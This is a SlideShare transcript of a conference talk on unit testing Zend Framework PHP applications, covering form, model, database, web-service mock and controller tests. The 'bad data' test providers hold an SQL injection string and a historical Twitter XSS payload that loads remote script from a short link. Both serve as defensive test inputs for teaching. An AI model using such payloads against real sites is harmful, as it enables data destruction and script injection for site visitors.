SlideShare a Scribd company logo
Unit Testing with
Zend Framework
   TEK11, Chicago IL, USA
Michelangelo van Dam
• Independent Consultant
• Zend Certified Engineer (ZCE)
• President of PHPBenelux
The saga continues…
Zend Webinar




http://www.zend.com/en/resources/webinars/framework
Any reasons not to test?
Most common excuses
• no time
• not within budget
• development team does not know how
• tests are provided after delivery
•…
NO EXCUSES!
The cost of bugs
           Bugs           Project Costs

100



 75



 50



 25



  0
   Start     Milestone1   Milestone2      Milestone3
The cost of bugs
           Bugs          Project Costs                Unittests

100



 75



 50



 25



  0
   Start          Milestone1             Milestone2               Milestone3
Maintainability
•- during development
     test will fail indicating bugs
•- after sales support
    testing if an issue is genuine
 - fixing issues won’t break code base
  ‣ if they do, you need to fix it!
• long term projects
 - refactoring made easy
Remember



“Once a test is made, it will always be tested!”
Unit testing with zend framework tek11
Confidence
•- for the developer
     code works
•- for the manager
     project succeeds
•- for sales / general management / share holders
     making profit
•- for the customer
    paying for what they want
Unit testing with zend framework tek11
Unit testing ZF apps
Setting things up
phpunit.xml
<phpunit bootstrap="./TestHelper.php" colors="true">
    <testsuite name="Unit test suite">
        <directory>./</directory>
    </testsuite>

    <filter>
        <whitelist>
             <directory suffix=".php">../application/</directory>
             <directory suffix=".php">../library/Mylib/</directory>
             <exclude>
                 <directory suffix=".phtml">../application/</directory>
             </exclude>
        </whitelist>
    </filter>

</phpunit>
TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');

// Include path
set_include_path(
    . PATH_SEPARATOR . BASE_PATH . '/library'
    . PATH_SEPARATOR . get_include_path()
);

// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');

// We wanna catch all errors en strict warnings
error_reporting(E_ALL|E_STRICT);

require_once 'Zend/Application.php';
$application = new Zend_Application(
    APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini'
);

$application->bootstrap();
Zend_Tool since 1.11.4


• provides
 • phpunit.xml
 • bootstrap.php
 • IndexControllerTest.php

                             Ralph Schindler
Start your engines!




 http://www.flickr.com/photos/robdunckley/3781995277
Testing Zend_Form
CommentForm
        Name:
E-mail Address:
      Website:
    Comment:



       Post
Start with the test
<?php
class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
{
    protected $_form;

    protected function setUp()
    {
        $this->_form = new Application_Form_CommentForm();
        parent::setUp();
    }
    protected function tearDown()
    {
        parent::tearDown();
        $this->_form = null;
    }

}
The good stuff
public function goodData()
{
     return array (
         array ('John Doe', 'john.doe@example.com',
                'http://example.com', 'test comment'),
         array ("Matthew Weier O'Phinney", 'matthew@zend.com',
                'http://weierophinney.net', 'Doing an MWOP-Test'),
         array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
                'http://caseysoftware.com', 'Doing a monkey dance'),
     );
}
/**
  * @dataProvider goodData
  */
public function testFormAcceptsValidData($name, $email, $web, $comment)
{
     $data = array (
         'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
     );
     $this->assertTrue($this->_form->isValid($data));
}
The bad stuff
public function badData()
{
     return array (
         array ('','','',''),
         array ("Robert'; DROP TABLES comments; --", '',
                'http://xkcd.com/327/','Little Bobby Tables'),
         array (str_repeat('x', 100000), '', '', ''),
         array ('John Doe', 'jd@example.com',
                "http://t.co/@"style="font-size:999999999999px;"onmouseover=
"$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",
                'exploit twitter 9/21/2010'),
     );
}
/**
  * @dataProvider badData
  */
public function testFormRejectsBadData($name, $email, $web, $comment)
{
     $data = array (
         'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
     );
     $this->assertFalse($this->_form->isValid($data));
}
Create the form class
<?php

class Application_Form_CommentForm extends Zend_Form
{

    public function init()
    {
        /* Form Elements & Other Definitions Here ... */
    }


}
Let’s run the test
Let’s put in our elements
<?php

class Application_Form_CommentForm extends Zend_Form
{

    public function init()
    {
        $this->addElement('text', 'name', array (
            'Label' => 'Name', 'Required' => true));
        $this->addElement('text', 'mail', array (
            'Label' => 'E-mail Address', 'Required' => true));
        $this->addElement('text', 'web', array (
            'Label' => 'Website', 'Required' => false));
        $this->addElement('textarea', 'comment', array (
            'Label' => 'Comment', 'Required' => true));
        $this->addElement('submit', 'post', array (
            'Label' => 'Post', 'Ignore' => true));
    }


}
Less errors?
Filter - Validate
$this->addElement('text', 'name', array (
    'Label' => 'Name', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags'),
    'Validators' => array (
        new Zftest_Validate_Mwop(),
        new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'mail', array (
    'Label' => 'E-mail Address', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'Validators' => array (
        new Zend_Validate_EmailAddress(),
        new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'web', array (
    'Label' => 'Website', 'Required' => false,
    'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'Validators' => array (
        new Zend_Validate_Callback(array('Zend_Uri', 'check')),
        new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('textarea', 'comment', array (
    'Label' => 'Comment', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags'),
    'Validators' => array (
        new Zftest_Validate_TextBox(),
        new Zend_Validate_StringLength(array ('max' => 5000))),
));
Green, warm & fuzzy
You’re a winner!


☑ quality code
☑ tested
☑ secure
☑ reusable
Testing models
Testing business logic
•- models contain logic
   tied to your business
 - tied to your storage
 - tied to your resources
• no “one size fits all” solution
Type: data containers
•- contains structured data
    populated through setters and getters
•- perform logic tied to it’s purpose
   transforming data
 - filtering data
 - validating data
• can convert into other data types
 - arrays
 - strings (JSON, serialized, xml, …)
• are providers to other models
Comment Class
Writing model test
<?php
class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
{
    protected $_comment;
    protected function setUp()
    {
        $this->_comment = new Application_Model_Comment();
        parent::setUp();
    }
    protected function tearDown()
    {
        parent::tearDown();
        $this->_comment = null;
    }
    public function testModelIsEmptyAtConstruct()
    {
        $this->assertSame(0, $this->_comment->getId());
        $this->assertNull($this->_comment->getFullName());
        $this->assertNull($this->_comment->getEmailAddress());
        $this->assertNull($this->_comment->getWebsite());
        $this->assertNull($this->_comment->getComment());
    }
}
This test won’t run!
Create a simple model
<?php

class Application_Model_Comment
{
    protected $_id = 0; protected $_fullName; protected $_emailAddress;
    protected $_website; protected $_comment;

    public   function setId($id) { $this->_id = (int) $id; return $this; }
    public   function getId() { return $this->_id; }
    public   function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; }
    public   function getFullName() { return $this->_fullName; }
    public   function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; }
    public   function getEmailAddress() { return $this->_emailAddress; }
    public   function setWebsite($website) { $this->_website = (string) $website; return $this; }
    public   function getWebsite() { return $this->_website; }
    public   function setComment($comment) { $this->_comment = (string) $comment; return $this; }
    public   function getComment() { return $this->_comment; }
    public   function populate($row) {
        if   (is_array($row)) {
              $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS);
        }
        if   (isset   ($row->id)) $this->setId($row->id);
        if   (isset   ($row->fullName)) $this->setFullName($row->fullName);
        if   (isset   ($row->emailAddress)) $this->setEmailAddress($row->emailAddress);
        if   (isset   ($row->website)) $this->setWebsite($row->website);
        if   (isset   ($row->comment)) $this->setComment($row->comment);
    }
    public function toArray()     {
        return array (
            'id'           =>     $this->getId(),
            'fullName'     =>     $this->getFullName(),
            'emailAddress' =>     $this->getEmailAddress(),
            'website'      =>     $this->getWebsite(),
            'comment'      =>     $this->getComment(),
        );
    }
}
We pass the test…
Really ???
Not all data from form!
•- model can be populated from
    users through the form
 - data stored in the database
 - a webservice (hosted by us or others)
• simply test it
 - by using same test scenario’s from our form
The good stuff
public function goodData()
{
     return array (
         array ('John Doe', 'john.doe@example.com',
                'http://example.com', 'test comment'),
         array ("Matthew Weier O'Phinney", 'matthew@zend.com',
                'http://weierophinney.net', 'Doing an MWOP-Test'),
         array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
                'http://caseysoftware.com', 'Doing a monkey dance'),
     );
}
/**
  * @dataProvider goodData
  */
public function testModelAcceptsValidData($name, $mail, $web, $comment)
{
     $data = array (
         'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
     );
     try {
         $this->_comment->populate($data);
     } catch (Zend_Exception $e) {
         $this->fail('Unexpected exception should not be triggered');
     }
     $data['id'] = 0;
     $data['emailAddress'] = strtolower($data['emailAddress']);
     $data['website'] = strtolower($data['website']);
     $this->assertSame($this->_comment->toArray(), $data);
}
The bad stuff
public function badData()
{
     return array (
         array ('','','',''),
         array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby
Tables'),
         array (str_repeat('x', 1000), '', '', ''),
         array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;
"onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter
9/21/2010'),
     );
}
/**
  * @dataProvider badData
  */
public function testModelRejectsBadData($name, $mail, $web, $comment)
{
     $data = array (
         'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
     );
     try {
         $this->_comment->populate($data);
     } catch (Zend_Exception $e) {
         return;
     }
     $this->fail('Expected exception should be triggered');

}
Let’s run it
Modify our model
protected $_filters;
protected $_validators;

public function __construct($params = null)
{
    $this->_filters = array (
        'id' => array ('Int'),
        'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)),
        'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'),
        'website' => array ('StringTrim', 'StripTags', 'StringToLower'),
     'comment' => array ('StringTrim', 'StripTags'),
    );
    $this->_validators = array (
        'id' => array ('Int'),
        'fullName' => array (
            new Zftest_Validate_Mwop(),
            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
        ),
        'emailAddress' => array (
            'EmailAddress',
            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
        ),
        'website' => array (
            new Zend_Validate_Callback(array('Zend_Uri', 'check')),
            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
        ),
     'comment' => array (
            new Zftest_Validate_TextBox(),
            new Zend_Validate_StringLength(array ('max' => 5000)),
        ),
    );
    if (null !== $params) { $this->populate($params); }
}
Modify setters: Id & name
public function setId($id)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('id' => $id));
    if (!$input->isValid('id')) {
        throw new Zend_Exception('Invalid ID provided');
    }
    $this->_id = (int) $input->id;
    return $this;
}

public function setFullName($fullName)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('fullName' => $fullName));
    if (!$input->isValid('fullName')) {
        throw new Zend_Exception('Invalid fullName provided');
    }
    $this->_fullName = (string) $input->fullName;
    return $this;
}
Email & website
public function setEmailAddress($emailAddress)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('emailAddress' => $emailAddress));
    if (!$input->isValid('emailAddress')) {
        throw new Zend_Exception('Invalid emailAddress provided');
    }
    $this->_emailAddress = (string) $input->emailAddress;
    return $this;
}

public function setWebsite($website)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('website' => $website));
    if (!$input->isValid('website')) {
        throw new Zend_Exception('Invalid website provided');
    }
    $this->_website = (string) $input->website;
    return $this;
}
and comment
public function setComment($comment)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('comment' => $comment));
    if (!$input->isValid('comment')) {
        throw new Zend_Exception('Invalid comment provided');
    }
    $this->_comment = (string) $input->comment;
    return $this;
}
Now we’re good!
Testing Databases
Integration Testing
•- database specific functionality
   triggers
 - constraints
 - stored procedures
 - sharding/scalability
• data input/output
 - correct encoding of data
 - transactions execution and rollback
Points of concern
•- beware of automated data types
   auto increment sequence ID’s
 - default values like CURRENT_TIMESTAMP
• beware of time related issues
 - timestamp vs. datetime
 - UTC vs. local time
The domain Model
• Model object
• Mapper object
• Table gateway object

    Read more about it
Change our test class

class Application_Model_CommentTest
   extends PHPUnit_Framework_TestCase

becomes

class Application_Model_CommentTest
   extends Zend_Test_PHPUnit_DatabaseTestCase
Setting DB Testing up
protected $_connectionMock;

public function getConnection()
{
    if (null === $this->_dbMock) {
        $this->bootstrap = new Zend_Application(
            APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
        $this->bootstrap->bootstrap('db');
        $db = $this->bootstrap->getBootstrap()->getResource('db');
        $this->_connectionMock = $this->createZendDbConnection(
            $db, 'zftest'
        );
        return $this->_connectionMock;
    }
}

public function getDataSet()
{
    return $this->createFlatXmlDataSet(
        realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));
}
initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing SELECT
public function testDatabaseCanBeRead()
{
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/selectDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
selectDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing UPDATE
public function testDatabaseCanBeUpdated()
{
    $comment = new Application_Model_Comment();
    $mapper = new Application_Model_CommentMapper();
    $mapper->find(1, $comment);
    $comment->setComment('I like you picking up the challenge!');
    $mapper->save($comment);

    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/updateDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
updateDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I like you picking up the challenge!"/>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing DELETE
public function testDatabaseCanDeleteAComment()
{
    $comment = new Application_Model_Comment();
    $mapper = new Application_Model_CommentMapper();
    $mapper->find(1, $comment)
           ->delete($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
deleteDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing INSERT
public function testDatabaseCanAddAComment()
{
    $comment = new Application_Model_Comment();
    $comment->setFullName('Michelangelo van Dam')
            ->setEmailAddress('dragonbe@gmail.com')
            ->setWebsite('http://www.dragonbe.com')
            ->setComment('Unit Testing, It is so addictive!!!');
    $mapper = new Application_Model_CommentMapper();
    $mapper->save($comment);

    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
      id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
    <comment
      id="3"
       fullName="Michelangelo van Dam"
       emailAddress="dragonbe@gmail.com"
       website="http://www.dragonbe.com"
       comment="Unit Testing, It is so addictive!!!"/>
</dataset>
Run Test
What went wrong here?
AUTO_INCREMENT
Testing INSERT w/ filter
public function testDatabaseCanAddAComment()
{
    $comment = new Application_Model_Comment();
    $comment->setFullName('Michelangelo van Dam')
            ->setEmailAddress('dragonbe@gmail.com')
            ->setWebsite('http://www.dragonbe.com')
            ->setComment('Unit Testing, It is so addictive!!!');
    $mapper = new Application_Model_CommentMapper();
    $mapper->save($comment);

    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
            $ds, array ('comment' => array ('id')));

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
    $this->assertDataSetsEqual($expected, $filteredDs);
}
insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
    <comment
       fullName="Michelangelo van Dam"
       emailAddress="dragonbe@gmail.com"
       website="http://www.dragonbe.com"
       comment="Unit Testing, It is so addictive!!!"/>
</dataset>
Run Test
Testing web services
Web services remarks
•- you need to comply with an API
    that will be your reference
•- you cannot always make a test-call
     paid services per call
 -   test environment is “offline”
 -   network related issues
Example: joind.in
http://joind.in/api
JoindinTest
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
    protected $_joindin;
    protected $_settings;

    protected function setUp()
    {
        $this->_joindin = new Zftest_Service_Joindin();
        $settings = simplexml_load_file(realpath(
            APPLICATION_PATH . '/../tests/_files/settings.xml'));
        $this->_settings = $settings->joindin;
        parent::setUp();
    }
    protected function tearDown()
    {
        parent::tearDown();
        $this->_joindin = null;
    }
}
JoindinTest
public function testJoindinCanGetUserDetails()
{
    $expected = '<?xml version="1.0"?><response><item><username>DragonBe</
username><full_name>Michelangelo van Dam</full_name><ID>19</
ID><last_login>1303248639</last_login></item></response>';
    $this->_joindin->setUsername($this->_settings->username)
                   ->setPassword($this->_settings->password);
    $actual = $this->_joindin->user()->getDetail();
    $this->assertXmlStringEqualsXmlString($expected, $actual);
}

public function testJoindinCanCheckStatus()
{
    $date = new DateTime();
    $date->setTimezone(new DateTimeZone('UTC'));
    $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') .
'</dt><test_string>testing unit test</test_string></response>';
    $actual = $this->_joindin->site()->getStatus('testing unit test');
    $this->assertXmlStringEqualsXmlString($expected, $actual);
}
Testing the service
Euh… what?
1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
      <ID>19</ID>
-     <last_login>1303248639</last_login>
+     <last_login>1303250271</last_login>
    </item>
  </response>


                      I recently logged in ✔
Euh… what?
1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
      <ID>19</ID>
-     <last_login>1303248639</last_login>
+     <last_login>1303250271</last_login>
    </item>
  </response>


                      I recently logged in ✔
And this?
2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
 <?xml version="1.0"?>
 <response>
- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>
+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt>
   <test_string>testing unit test</test_string>
 </response>

                Latency of the network 1s ☹
And this?
2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
 <?xml version="1.0"?>
 <response>
- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>
+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt>
   <test_string>testing unit test</test_string>
 </response>

                Latency of the network 1s ☹
Solution… right here!
Your expectations
JoindinTest
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
    protected $_joindin;
    protected $_settings;

    protected function setUp()
    {
        $this->_joindin = new Zftest_Service_Joindin();
        $client = new Zend_Http_Client();
        $client->setAdapter(new Zend_Http_Client_Adapter_Test());
        $this->_joindin->setClient($client);
        $settings = simplexml_load_file(realpath(
            APPLICATION_PATH . '/../tests/_files/settings.xml'));
        $this->_settings = $settings->joindin;
        parent::setUp();
    }
    protected function tearDown()
    {
        parent::tearDown();
        $this->_joindin = null;
    }
}
JoindinUserMockTest
public function testJoindinCanGetUserDetails()
{
    $response = <<<EOS
HTTP/1.1 200 OK
Content-type: text/xml

<?xml version="1.0"?>
<response>
  <item>
     <username>DragonBe</username>
     <full_name>Michelangelo van Dam</full_name>
     <ID>19</ID>
     <last_login>1303248639</last_login>
  </item>
</response>
EOS;
     $client = $this->_joindin->getClient()->getAdapter()->setResponse($response);
     $expected = '<?xml version="1.0"?><response><item><username>DragonBe</
username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</
last_login></item></response>';
     $this->_joindin->setUsername($this->_settings->username)
                    ->setPassword($this->_settings->password);
     $actual = $this->_joindin->user()->getDetail();
     $this->assertXmlStringEqualsXmlString($expected, $actual);
}
JoindinStatusMockTest
public function testJoindinCanCheckStatus()
{
    $date = new DateTime();
    $date->setTimezone(new DateTimeZone('UTC'));
    $response = <<<EOS
HTTP/1.1 200 OK
Content-type: text/xml

<?xml version="1.0"?>
<response>
  <dt>{$date->format('r')}</dt>
  <test_string>testing unit test</test_string>
</response>
EOS;
     $client = $this->_joindin->getClient()
                              ->getAdapter()->setResponse($response);
     $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') .
'</dt><test_string>testing unit test</test_string></response>';
     $actual = $this->_joindin->site()->getStatus('testing unit test');
     $this->assertXmlStringEqualsXmlString($expected, $actual);
}
Good implementation?
Controller Testing
Our form flow
Setting up ControllerTest
<?php

class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
{

    public function setUp()
    {
        $this->bootstrap = new Zend_Application(
            APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
        parent::setUp();
    }
}
Testing if form is on page
public function testIndexAction()
{
    $params = array(
        'action' => 'index',
        'controller' => 'index',
        'module' => 'default'
    );
    $url = $this->url($this->urlizeOptions($params));
    $this->dispatch($url);

    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);
    $this->assertQueryContentContains(
        'h1#pageTitle', 'Please leave a comment');
    $this->assertQueryCount('form#commentForm', 1);
}
Test processing
public function testProcessAction()
{
    $testData = array (
        'name'    => 'testUser',
        'mail'    => 'test@example.com',
        'web'     => 'http://www.example.com',
        'comment' => 'This is a test comment',
    );
    $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default');
    $url = $this->url($this->urlizeOptions($params));
    $this->request->setMethod('post');
    $this->request->setPost($testData);
    $this->dispatch($url);

    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);

    $this->assertResponseCode(302);
    $this->assertRedirectTo('/index/success');

    $this->resetRequest();
    $this->resetResponse();
    $this->dispatch('/index/success');
    $this->assertQueryContentContains('span#fullName', $testData['name']);
}
REMARK
•- data providers can be used
   to test valid data
 - to test invalid data
• but we know it’s taken care of our model
 - just checking for error messages in form
Test if we hit home
public function testSuccessAction()
{
    $params = array(
        'action' => 'success',
        'controller' => 'index',
        'module' => 'default'
    );
    $url = $this->url($this->urlizeOptions($params));
    $this->dispatch($url);

    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);

    $this->assertRedirectTo('/');
}
Running the tests
Testing it all
Testing it all
Our progress report
Conclusion
• unit testing is simple
• combine integration tests with unit tests
• test what counts
• mock out what’s remote
Thank you
• source code:
     http://github.com/DragonBe/zftest

• your rating:
     http://joind.in/3434

•- follow me:
      twitter: @DragonBe
 -    facebook: DragonBe

              Please use joind.in for feedback

More Related Content

KEY
Unit testing with zend framework PHPBenelux
KEY
Unit testing zend framework apps
PDF
PHPUnit Episode iv.iii: Return of the tests
PDF
PHPunit and you
PDF
QA for PHP projects
PDF
Advanced php testing in action
PDF
Refactoring using Codeception
PDF
Php unit the-mostunknownparts
Unit testing with zend framework PHPBenelux
Unit testing zend framework apps
PHPUnit Episode iv.iii: Return of the tests
PHPunit and you
QA for PHP projects
Advanced php testing in action
Refactoring using Codeception
Php unit the-mostunknownparts

What's hot (20)

PDF
international PHP2011_Bastian Feder_jQuery's Secrets
PDF
Mocking Demystified
PDF
Separation of concerns - DPC12
KEY
Symfony2 Building on Alpha / Beta technology
PDF
Decoupling with Design Patterns and Symfony2 DIC
PDF
Min-Maxing Software Costs - Laracon EU 2015
PDF
Min-Maxing Software Costs
PDF
購物車程式架構簡介
PDF
Zf2 how arrays will save your project
PPT
Mocking Dependencies in PHPUnit
PPTX
Hacking Your Way To Better Security - Dutch PHP Conference 2016
PPTX
Crafting beautiful software
PDF
PHPUnit でよりよくテストを書くために
PDF
Design how your objects talk through mocking
DOCX
logic321
PDF
R57shell
PDF
Command Bus To Awesome Town
PDF
November Camp - Spec BDD with PHPSpec 2
PPTX
Adding Dependency Injection to Legacy Applications
PDF
Models and Service Layers, Hemoglobin and Hobgoblins
international PHP2011_Bastian Feder_jQuery's Secrets
Mocking Demystified
Separation of concerns - DPC12
Symfony2 Building on Alpha / Beta technology
Decoupling with Design Patterns and Symfony2 DIC
Min-Maxing Software Costs - Laracon EU 2015
Min-Maxing Software Costs
購物車程式架構簡介
Zf2 how arrays will save your project
Mocking Dependencies in PHPUnit
Hacking Your Way To Better Security - Dutch PHP Conference 2016
Crafting beautiful software
PHPUnit でよりよくテストを書くために
Design how your objects talk through mocking
logic321
R57shell
Command Bus To Awesome Town
November Camp - Spec BDD with PHPSpec 2
Adding Dependency Injection to Legacy Applications
Models and Service Layers, Hemoglobin and Hobgoblins
Ad

Similar to Unit testing with zend framework tek11 (20)

PDF
Quality Assurance for PHP projects - ZendCon 2012
KEY
Workshop quality assurance for php projects tek12
PDF
Workshop quality assurance for php projects - phpdublin
PDF
Unit testing after Zend Framework 1.8
PDF
Workshop quality assurance for php projects - phpbelfast
PDF
Workshop quality assurance for php projects - ZendCon 2013
PDF
Your code sucks, let's fix it - DPC UnCon
PDF
You code sucks, let's fix it
PDF
Nashville Symfony Functional Testing
PDF
The new form framework
PDF
Task 2
PDF
2010 07-28-testing-zf-apps
PDF
Unittests für Dummies
PPT
Framework
PPTX
Deploying Straight to Production
PDF
How to write code you won't hate tomorrow
PDF
PHP for Adults: Clean Code and Object Calisthenics
KEY
Workshop unittesting
PDF
Save time by applying clean code principles
PDF
Quality Assurance for PHP projects - ZendCon 2012
Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects - phpdublin
Unit testing after Zend Framework 1.8
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - ZendCon 2013
Your code sucks, let's fix it - DPC UnCon
You code sucks, let's fix it
Nashville Symfony Functional Testing
The new form framework
Task 2
2010 07-28-testing-zf-apps
Unittests für Dummies
Framework
Deploying Straight to Production
How to write code you won't hate tomorrow
PHP for Adults: Clean Code and Object Calisthenics
Workshop unittesting
Save time by applying clean code principles
Ad

More from Michelangelo van Dam (20)

PDF
GDPR Art. 25 - Privacy by design and default
PDF
Moving from app services to azure functions
PDF
Privacy by design
PDF
DevOps or DevSecOps
PDF
Privacy by design
PDF
Continuous deployment 2.0
PDF
Let your tests drive your code
PDF
General Data Protection Regulation, a developer's story
PDF
Leveraging a distributed architecture to your advantage
PDF
The road to php 7.1
PDF
Open source for a successful business
PDF
Decouple your framework now, thank me later
PDF
Deploy to azure in less then 15 minutes
PDF
